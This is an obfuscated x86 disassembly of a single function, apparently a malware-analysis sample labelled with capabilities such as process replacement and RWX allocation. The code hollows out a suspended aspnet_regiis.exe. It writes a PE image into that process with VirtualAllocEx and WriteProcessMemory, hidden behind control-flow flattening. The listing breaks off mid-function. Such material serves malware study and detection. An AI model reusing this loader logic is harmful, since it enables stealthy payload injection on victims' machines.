Function at 0x10002420
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x144
mov eax, dword [0x10063200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14c], 0x145a5fa3
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x150], eax
sub eax, 0x8dfe8670
je 0x100035f1
jmp 0x1000245c
mov eax, dword [ebp - 0x150]
sub eax, 0x8e8c8538
je 0x100031df
jmp 0x10002472
mov eax, dword [ebp - 0x150]
sub eax, 0x90137590
je 0x10004649
jmp 0x10002488
mov eax, dword [ebp - 0x150]
sub eax, 0x91571b11
je 0x1000449a
jmp 0x1000249e
mov eax, dword [ebp - 0x150]
sub eax, 0x93b02805
je 0x1000301b
jmp 0x100024b4
mov eax, dword [ebp - 0x150]
sub eax, 0x9ab7e7fc
je 0x1000454a
jmp 0x100024ca
mov eax, dword [ebp - 0x150]
sub eax, 0x9aee34f5
je 0x1000336d
jmp 0x100024e0
mov eax, dword [ebp - 0x150]
sub eax, 0x9dbcdce8
je 0x10002f45
jmp 0x100024f6
mov eax, dword [ebp - 0x150]
sub eax, 0x9ea147b9
je 0x10003d49
jmp 0x1000250c
mov eax, dword [ebp - 0x150]
sub eax, 0xa000fa22
je 0x10002e04
jmp 0x10002522
mov eax, dword [ebp - 0x150]
sub eax, 0xa2998235
je 0x1000385d
jmp 0x10002538
mov eax, dword [ebp - 0x150]
sub eax, 0xa2d36c0d
je 0x100033af
jmp 0x1000254e
mov eax, dword [ebp - 0x150]
sub eax, 0xa3c247e9
je 0x100040a0
jmp 0x10002564
mov eax, dword [ebp - 0x150]
sub eax, 0xa3fc6b16
je 0x10003600
jmp 0x1000257a
mov eax, dword [ebp - 0x150]
sub eax, 0xa4c8a7bf
je 0x10003b5f
jmp 0x10002590
mov eax, dword [ebp - 0x150]
sub eax, 0xa5877ca0
je 0x100040e5
jmp 0x100025a6
mov eax, dword [ebp - 0x150]
sub eax, 0xab4aa755
je 0x1000432a
jmp 0x100025bc
mov eax, dword [ebp - 0x150]
sub eax, 0xb0383f90
je 0x10003964
jmp 0x100025d2
mov eax, dword [ebp - 0x150]
sub eax, 0xb2fe73ce
je 0x100040af
jmp 0x100025e8
mov eax, dword [ebp - 0x150]
sub eax, 0xb523ca2e
je 0x1000457a
jmp 0x100025fe
mov eax, dword [ebp - 0x150]
sub eax, 0xb5e224f8
je 0x10003f39
jmp 0x10002614
mov eax, dword [ebp - 0x150]
sub eax, 0xb8a83118
je 0x10002d6f
jmp 0x1000262a
mov eax, dword [ebp - 0x150]
sub eax, 0xb8ec65eb
je 0x100030b5
jmp 0x10002640
mov eax, dword [ebp - 0x150]
sub eax, 0xb92477a0
je 0x1000306c
jmp 0x10002656
mov eax, dword [ebp - 0x150]
sub eax, 0xbc9b8c67
je 0x100040ff
jmp 0x1000266c
mov eax, dword [ebp - 0x150]
sub eax, 0xbfc1edce
je 0x10004598
jmp 0x10002682
mov eax, dword [ebp - 0x150]
sub eax, 0xc6ffc852
je 0x100045a7
jmp 0x10002698
mov eax, dword [ebp - 0x150]
sub eax, 0xc89ef80f
je 0x10003ce1
jmp 0x100026ae
mov eax, dword [ebp - 0x150]
sub eax, 0xc8cdb44b
je 0x10004673
jmp 0x100026c4
mov eax, dword [ebp - 0x150]
sub eax, 0xc9c5929f
je 0x10003f5a
jmp 0x100026da
mov eax, dword [ebp - 0x150]
sub eax, 0xcaa41e86
je 0x100030d6
jmp 0x100026f0
mov eax, dword [ebp - 0x150]
sub eax, 0xd5d474d2
je 0x10003c1f
jmp 0x10002706
mov eax, dword [ebp - 0x150]
sub eax, 0xd795ac86
je 0x10004415
jmp 0x1000271c
mov eax, dword [ebp - 0x150]
sub eax, 0xd83eabea
je 0x10004589
jmp 0x10002732
mov eax, dword [ebp - 0x150]
sub eax, 0xd84fa11e
je 0x10002f75
jmp 0x10002748
mov eax, dword [ebp - 0x150]
sub eax, 0xd9284fcf
je 0x10003b0a
jmp 0x1000275e
mov eax, dword [ebp - 0x150]
sub eax, 0xdf4b736b
je 0x10003726
jmp 0x10002774
mov eax, dword [ebp - 0x150]
sub eax, 0xe7265047
je 0x10003267
jmp 0x1000278a
mov eax, dword [ebp - 0x150]
sub eax, 0xe83bb590
je 0x1000451d
jmp 0x100027a0
mov eax, dword [ebp - 0x150]
sub eax, 0xeb912e2c
je 0x100034ad
jmp 0x100027b6
mov eax, dword [ebp - 0x150]
sub eax, 0xecdf2f5b
je 0x10003492
jmp 0x100027cc
mov eax, dword [ebp - 0x150]
sub eax, 0xf1253c96
je 0x10003c7f
jmp 0x100027e2
mov eax, dword [ebp - 0x150]
sub eax, 0xf751622e
je 0x100031ee
jmp 0x100027f8
mov eax, dword [ebp - 0x150]
sub eax, 0xf83af230
je 0x10003689
jmp 0x1000280e
mov eax, dword [ebp - 0x150]
sub eax, 0xfb10ade0
je 0x10003545
jmp 0x10002824
mov eax, dword [ebp - 0x150]
sub eax, 0xff27e4f3
je 0x100040be
jmp 0x1000283a
mov eax, dword [ebp - 0x150]
sub eax, 0xff753a21
je 0x10004568
jmp 0x10002850
mov eax, dword [ebp - 0x150]
sub eax, 0xfffc9994
je 0x10003d9a
jmp 0x10002866
mov eax, dword [ebp - 0x150]
sub eax, 0x21115de
je 0x10002f18
jmp 0x1000287c
mov eax, dword [ebp - 0x150]
sub eax, 0xb99d986
je 0x1000465e
jmp 0x10002892
mov eax, dword [ebp - 0x150]
sub eax, 0x115bd9a8
je 0x10004424
jmp 0x100028a8
mov eax, dword [ebp - 0x150]
sub eax, 0x12eb8ec5
je 0x100033f9
jmp 0x100028be
mov eax, dword [ebp - 0x150]
sub eax, 0x142d2349
je 0x10004130
jmp 0x100028d4
mov eax, dword [ebp - 0x150]
sub eax, 0x145a5fa3
je 0x10002cf9
jmp 0x100028ea
mov eax, dword [ebp - 0x150]
sub eax, 0x15656bfb
je 0x10003db7
jmp 0x10002900
mov eax, dword [ebp - 0x150]
sub eax, 0x15cd2944
je 0x100042a5
jmp 0x10002916
mov eax, dword [ebp - 0x150]
sub eax, 0x1ec0e0d5
je 0x1000335e
jmp 0x1000292c
mov eax, dword [ebp - 0x150]
sub eax, 0x1f1c0d66
je 0x10003e2d
jmp 0x10002942
mov eax, dword [ebp - 0x150]
sub eax, 0x1f3d351c
je 0x10003893
jmp 0x10002958
mov eax, dword [ebp - 0x150]
sub eax, 0x1fed41b0
je 0x100041cf
jmp 0x1000296e
mov eax, dword [ebp - 0x150]
sub eax, 0x21236301
je 0x100037ac
jmp 0x10002984
mov eax, dword [ebp - 0x150]
sub eax, 0x21eaea44
je 0x10004057
jmp 0x1000299a
mov eax, dword [ebp - 0x150]
sub eax, 0x27301d48
je 0x10004159
jmp 0x100029b0
mov eax, dword [ebp - 0x150]
sub eax, 0x278cddd5
je 0x100045e6
jmp 0x100029c6
mov eax, dword [ebp - 0x150]
sub eax, 0x29e7cb10
je 0x10002ef1
mov ecx, dword [0x10064538]
mov eax, dword [0x10064534]
mov edx, ecx
add edx, 0xd869a08d
sub edx, 1
sub edx, 0xd869a08d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb523ca2e
mov ecx, 0xb8a83118
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000486a
push eax
mov eax, esp
mov dword [ebp - 0x138], eax
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
mov ecx, dword [0x10064538]
mov eax, dword [0x10064534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb523ca2e
mov ecx, 0xa000fa22
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000486a
mov dword [ebp - 0x14c], 0x6251e1e7
jmp 0x1000486a
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf4]
add eax, 0x4e7d7a6f
add eax, ecx
sub eax, 0x4e7d7a6f
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0x14c], 0x9dbcdce8
jmp 0x1000486a
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x144], eax
mov edx, dword [ebp - 0x144]
mov eax, 0x4128204e
mov ecx, 0xd84fa11e
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000486a
lea eax, [ebp - 0x24]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10005c90
add esp, 0xc
lea eax, [ebp - 0x68]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10005c90
add esp, 0xc
mov eax, dword [ebp - 0x144]
mov eax, dword [eax + 0xe8]
mov dword [ebp - 0xec], eax
mov dword [ebp - 0x14c], 0x3d3c4dc7
jmp 0x1000486a
mov eax, dword [0x10064538]
mov ecx, dword [0x10064534]
mov edx, eax
add edx, 0xcef08773
sub edx, 1
sub edx, 0xcef08773
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd83eabea
mov ecx, 0xb92477a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000486a
mov eax, dword [0x10064538]
mov ecx, dword [0x10064534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd83eabea
mov ecx, 0xb8ec65eb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000486a
mov dl, byte [ebp - 0xe6]
mov eax, 0xcaa41e86
mov ecx, 0xf751622e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000486a
mov eax, dword [ebp - 0x138]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x14c], 0x6dfeff28
jmp 0x1000486a
mov dword [ebp - 0x14c], 0xf751622e
jmp 0x1000486a
mov eax, dword [ebp - 0x138]
mov edx, dword [eax]
xor eax, eax
lea ecx, [ebp - 0x68]
lea eax, [ebp - 0x24]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xe5], al
mov dword [ebp - 0x14c], 0xe7265047
jmp 0x1000486a
mov dl, byte [ebp - 0xe5]
mov eax, 0x9ab7e7fc
mov ecx, 0x343d1c59
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000486a
mov dword [ebp - 0x14c], 0x9aee34f5
jmp 0x1000486a
mov eax, dword [ebp - 0xe4]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x20]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, eax
mov eax, 0x115bd9a8
mov ecx, 0xa2d36c0d
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000486a
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call fcn.10001d70
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x134]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0x14c], 0x12eb8ec5
jmp 0x1000486a
mov eax, dword [ebp - 0xe0]
mov edx, dword [eax + 0x34]
mov esi, dword [ebp - 0x24]
mov eax, dword [ebp - 0x128]
lea ecx, [ebp - 0x14]
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x144]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x144]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x24]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov edx, dword [ebp - 0x130]
mov eax, 0x5064b22d
mov ecx, 0xecdf2f5b
cmp dword [edx], 0
cmove eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000486a
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x14c], 0xeb912e2c
jmp 0x1000486a
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x24]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov dword [ebp - 0x14c], 0x5064b22d
jmp 0x1000486a
mov eax, dword [ebp - 0x144]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x130]
mov edx, dword [edx]
mov esi, dword [ebp - 0x24]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x13c]
add eax, dword [ecx + 0x3c]
add eax, 4
add eax, 0x14
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0x144]
add eax, 4
add eax, 0x10
mov dword [ebp - 0xd4], eax
mov eax, dword [0x10064538]
mov ecx, dword [0x10064534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x278cddd5
mov ecx, 0x8dfe8670
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000486a
mov dword [ebp - 0x14c], 0xa3fc6b16
jmp 0x1000486a
mov eax, dword [ebp - 0xd4]
movzx eax, word [eax]
mov ecx, dword [ebp - 0xd8]
add ecx, eax
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x144]
sub ecx, 0x62fd5f9d
add ecx, 0x18
add ecx, 0x62fd5f9d
mov eax, dword [ebp - 0x144]
movzx edx, word [eax + 0x14]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x120]
mov dword [eax], ecx
mov eax, dword [ebp - 0x11c]
mov dword [eax], 0
mov eax, dword [ebp - 0x144]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov dword [eax], 0
mov dword [ebp - 0x14c], 0xf83af230
jmp 0x1000486a
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0x144]
add eax, 4
add eax, 2
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x14c], 0x2d4a7450
jmp 0x1000486a
mov eax, dword [ebp - 0xcc]
movzx ecx, word [eax]
mov eax, dword [ebp - 0xd0]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0xc5], al
mov eax, dword [0x10064538]
mov ecx, dword [0x10064534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x47cfcdba
mov ecx, 0x4a10b522
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000486a
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x114]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x124]
mov edx, dword [edx]
mov esi, dword [ebp - 0x114]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0x14]
add ecx, 0x7b754d8f
add ecx, edx
sub ecx, 0x7b754d8f
mov edx, dword [ebp - 0x130]
mov edx, dword [edx]
mov esi, dword [ebp - 0x124]
mov esi, dword [esi]
mov edi, dword [ebp - 0x114]
imul edi, dword [edi], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edi
sub edx, esi
mov esi, dword [ebp - 0x24]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x14c], 0xa2998235
jmp 0x1000486a
mov eax, dword [ebp - 0x114]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc0]
imul ecx, ecx, 0x28
add eax, ecx
mov esi, dword [eax + 0xc]
mov edx, dword [ebp - 0xc4]
mov eax, 0x3b0b9a29
mov ecx, 0x1f3d351c
cmp edx, esi
cmovae eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000486a
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x114]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x14c], 0x60b37d67
jmp 0x1000486a
mov ecx, dword [ebp - 0xac]
mov eax, dword [ebp - 0xa8]
add ecx, eax
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov edx, dword [ebp - 0x124]
mov edx, dword [edx]
mov esi, dword [ebp - 0x114]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
add eax, 0x5e6c9aac
sub eax, edx
sub eax, 0x5e6c9aac
add ecx, eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov dword [ebp - 0x14c], 0x3b0b9a29
jmp 0x1000486a
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x14c], 0x55d75d27
jmp 0x1000486a
mov eax, dword [0x10064538]
mov ecx, dword [0x10064534]
mov edx, eax
add edx, 0xc5e43adf
sub edx, 1
sub edx, 0xc5e43adf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb99d986
mov ecx, 0x701d09bb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000486a
mov dl, byte [ebp - 0x95]
mov eax, 0x3ce5096b
mov ecx, 0x78dbbd1f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000486a
mov ecx, dword [ebp - 0x94]
add ecx, 0x15d307fc
sub ecx, 8
sub ecx, 0x15d307fc
shr ecx, 1
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x130]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x144]
mov eax, dword [eax + 0x34]
sub ecx, 0xec923fcf
sub ecx, eax
add ecx, 0xec923fcf
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x104]
mov dword [eax], 0
mov dword [ebp - 0x14c], 0xc89ef80f
jmp 0x1000486a
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10c]
cmp eax, dword [ecx]
setb al
and al, 1
mov byte [ebp - 0x8d], al
mov dword [ebp - 0x14c], 0x5fb97c13
jmp 0x1000486a
mov eax, dword [ebp - 0x104]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x8c]
movzx edx, word [eax + ecx*2]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xf000
mov eax, 0xffffffff
xor eax, 0xb7692f3c
or edx, ecx
or eax, 0xb7692f3c
xor edx, 0xffffffff
and edx, eax
mov eax, 0xb2fe73ce
mov ecx, 0xfffc9994
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000486a
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x14c], 0x15656bfb
jmp 0x1000486a
mov ecx, dword [0x10064538]
mov eax, dword [0x10064534]
mov edx, ecx
sub edx, 0x8506034e
sub edx, 1
add edx, 0x8506034e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc8cdb44b
mov ecx, 0x1f1c0d66
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000486a
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x88]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x110]
mov eax, dword [eax]
mov edx, dword [ebp - 0x104]
mov edx, dword [edx]
movzx eax, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, eax
xor edx, esi
and edx, eax
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xfc]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x81], al
mov ecx, dword [0x10064538]
mov eax, dword [0x10064534]
mov edx, ecx
add edx, 0x37129f2d
sub edx, 1
sub edx, 0x37129f2d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc8cdb44b
mov ecx, 0xb5e224f8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000486a
mov dl, byte [ebp - 0x81]
mov eax, 0x69544ee6
mov ecx, 0xc9c5929f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000486a
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xfc]
mov ecx, dword [ecx]
add ecx, 0xc3f283cc
add ecx, eax
sub ecx, 0xc3f283cc
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x14c], 0x50cbe2c2
jmp 0x1000486a
mov eax, dword [0x10064538]
mov ecx, dword [0x10064534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6ad47ee2
mov ecx, 0xa3c247e9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000486a
mov dword [ebp - 0x14c], 0xb2fe73ce
jmp 0x1000486a
mov dword [ebp - 0x14c], 0xff27e4f3
jmp 0x1000486a
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
sub eax, 0xf7e54842
add eax, 1
add eax, 0xf7e54842
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x14c], 0xa5877ca0
jmp 0x1000486a
mov eax, dword [ebp - 0x104]
mov ecx, dword [ebp - 0x78]
mov dword [eax], ecx
mov dword [ebp - 0x14c], 0xc89ef80f
jmp 0x1000486a
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x11c]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 4]
sub eax, 0xe3310ebd
add eax, ecx
add eax, 0xe3310ebd
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x14c], 0x142d2349
jmp 0x1000486a
mov ecx, dword [ebp - 0x74]
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov dword [ebp - 0x14c], 0xa4c8a7bf
jmp 0x1000486a
mov ecx, dword [0x10064538]
mov eax, dword [0x10064534]
mov edx, ecx
sub edx, 0x23757387
sub edx, 1
add edx, 0x23757387
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6e4a147b
mov ecx, 0x1fed41b0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000486a
mov eax, dword [ebp - 0x144]
add eax, 0x18
add eax, 0x1c
mov ecx, dword [ebp - 0x140]
mov ecx, dword [ecx + 0xa4]
xor edx, edx
sub edx, 8
sub ecx, edx
mov edx, dword [ebp - 0x24]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
add eax, 0x2bdd155d
add eax, 8
sub eax, 0x2bdd155d
mov dword [ebp - 0x70], eax
mov ecx, dword [0x10064538]
mov eax, dword [0x10064534]
mov edx, ecx
add edx, 0x9f3d55f3
sub edx, 1
sub edx, 0x9f3d55f3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6e4a147b
mov ecx, 0x15cd2944
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x14c], eax
jmp 0x1000486a
mov dword [ebp - 0x14c], 0x5b39e5b8
jmp 0x1000486a
mov edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x70]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
